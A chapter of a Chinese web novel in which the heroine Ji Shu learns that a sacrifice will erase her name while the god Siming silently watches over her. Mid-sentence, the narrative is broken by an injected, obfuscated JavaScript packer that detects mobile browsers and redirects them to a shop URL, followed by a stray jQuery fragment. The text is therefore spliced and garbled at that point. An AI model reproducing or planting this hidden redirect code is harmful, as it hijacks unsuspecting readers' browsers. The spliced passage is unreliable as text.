这几日，汤药总在恰好的时辰出现。晨起时驱散残梦与虚乏，入眠前熨帖隐痛与不安。药汤虽苦，但她能感到他无声的关心，每次端起碗时，心底都会漫开一丝细密的温软。
“看起来冷若冰霜，做事却这样妥贴。”她小口啜饮，任由苦意在舌尖蔓延，嘴角悄悄弯起，“原来是个口是心非的傲娇鬼。”
这偷偷窥见的“秘密”，像一颗小小的糖，含在日益沉重的命运里，化成了只有她能品味到的甜。
可这短暂的甜蜜，在某个寻常的午后，被骤然打破。
她正整理书案，指尖拂过冰凉玉简，毫无预兆的，数行扭曲古奥的金色文字，如同烙印般，猛地撞进她的意识深处！
并非看见，而是知晓。
那含义冰冷而直接：
第二轮：名。
献祭汝于此世间，一切“名”之烙印。血亲呼唤、友朋称谓、尘世记载、众生记忆……凡以此“名”指向汝之因果，皆将剥离、淡忘、归于虚无。
唯余祭仪本身，与受祭之神，记得汝曾为何人。
文字闪烁片刻，如退潮般隐去，只留下一个清晰的认知：明日，便是第二个九日之期。
纪纾扶着书案，指尖褪尽血色。
不止是“发”。原来每一次失去，都如此具体而又彻底。
“名”。
没有了名字，我还是“我”吗？还有谁会记得，曾有一个叫“纪纾”的女孩，仰望过神明，想为他填补残缺？
七个九日之后呢？
这念头一旦浮现，便如“剪不断，理还乱”的丝线紧紧缠住心脏。她感到一阵窒息般的孤独。不是畏惧消散，而是在那注定的湮灭之前，她与这世界、甚至与“司命”这个遥远称谓之间，那些尚未建立或即将断裂的微弱联结，竟显得如此珍贵，又如此令人心碎。
她再也见不到他了。
不是天涯海角，是天人永隔。
窗外的云海，不知何时已被暮色浸透。昏黄的光线透过窗棂，将她的影子拉得很长，孤零零地印在地上。
夜深了。
云海之上的夜，在星河的映射
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294949|198558||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之下，如霜般清冷。纪纾躺在竹榻上，睁着眼，望着窗外亘古流转的星。脑海中，“名”的含义、司命冷淡的侧影、初见时他眼中的枯寂、递来药碗时无声的轮廓……交错浮现。
最终，所有思绪只化作一声轻叹，融进了冰凉的夜色中。
人，该睡了。
哪怕明日醒来，“纪纾”这个名字，对许多人、许多事而言，将如雪地字迹，被初升的太阳所消融。
她闭上眼，蜷起身子，仿佛这样便能守住最后一点属于自己的温度。
月光流泻在她脸上，照亮眼角一闪而逝、未被任何人看见的湿痕。
远处，那间依旧寂静的木屋中。
司命立于窗前，手中并无书卷，只是望着她竹舍的方向。他感知到了，第二轮献祭的法则，已然落下。
明日，她将献上“名”。
他脸上依旧毫无波澜。
只是负在身后的手，指节在无人得见的阴影里，微微收紧了半分。仿佛要握住什么，又仿佛只是抵御着。
夜，还未尽。